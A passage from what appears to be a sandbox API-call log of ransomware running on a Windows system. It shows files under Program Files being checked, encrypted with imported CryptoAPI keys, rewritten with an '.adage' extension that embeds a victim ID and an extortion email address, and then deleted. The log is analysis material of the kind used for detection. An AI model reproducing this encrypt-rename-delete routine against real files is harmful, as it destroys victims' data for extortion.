(normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.204] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0057.205] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=9804) returned 1 [0057.205] CloseHandle (hObject=0x180) returned 1 [0057.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0057.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.205] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0057.206] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=9975) returned 1 [0057.206] CloseHandle (hObject=0x180) returned 1 [0057.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0057.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.206] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0057.206] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=174) returned 1 [0057.206] CloseHandle (hObject=0x180) returned 1 [0057.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0057.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\desktop.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0057.207] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0057.207] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0057.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\desktop.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.207] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d86e0) returned 1 [0057.207] CryptSetKeyParam (hKey=0x4d86e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0057.207] ReadFile (in: hFile=0x180, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0xae, lpOverlapped=0x0) returned 1 [0057.208] CryptEncrypt (in: hKey=0x4d86e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0xb0, dwBufLen=0xb0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0xb0) returned 1 [0057.208] WriteFile (in: hFile=0x174, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xb0, lpOverlapped=0x0) returned 1 [0057.209] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d8860) returned 1 [0057.209] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0057.209] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0057.209] CryptDestroyKey (hKey=0x4d8860) returned 1 [0057.209] WriteFile (in: hFile=0x174, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0057.209] CryptDestroyKey (hKey=0x4d86e0) returned 1 [0057.209] CloseHandle (hObject=0x180) returned 1 [0057.209] CloseHandle (hObject=0x174) returned 1 [0057.211] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0057.212] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.213] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=27935) returned 1 [0057.213] CloseHandle (hObject=0x174) returned 1 [0057.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0057.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.213] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.213] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=751669) returned 1 [0057.213] CloseHandle (hObject=0x174) returned 1 [0057.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0057.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.214] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.216] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=10123) returned 1 [0057.216] CloseHandle (hObject=0x174) returned 1 [0057.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0057.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.216] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.216] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3286) returned 1 [0057.216] CloseHandle (hObject=0x174) returned 1 [0057.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0057.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.217] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.218] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3316) returned 1 [0057.218] CloseHandle (hObject=0x174) returned 1 [0057.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0057.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.218] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.219] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=11861) returned 1 [0057.219] CloseHandle (hObject=0x174) returned 1 [0057.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0057.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.219] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.219] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3304) returned 1 [0057.220] CloseHandle (hObject=0x174) returned 1 [0057.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0057.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.220] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.220] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3467) returned 1 [0057.220] CloseHandle (hObject=0x174) returned 1 [0057.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0057.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.221] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.243] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=12349) returned 1 [0057.243] CloseHandle (hObject=0x174) returned 1 [0057.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0057.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.244] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.244] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=325322) returned 1 [0057.244] CloseHandle (hObject=0x174) returned 1 [0057.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0057.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.245] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.245] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=141214) returned 1 [0057.245] CloseHandle (hObject=0x174) returned 1 [0057.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0057.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.245] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.246] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=157214) returned 1 [0057.246] CloseHandle (hObject=0x174) returned 1 [0057.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0057.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD 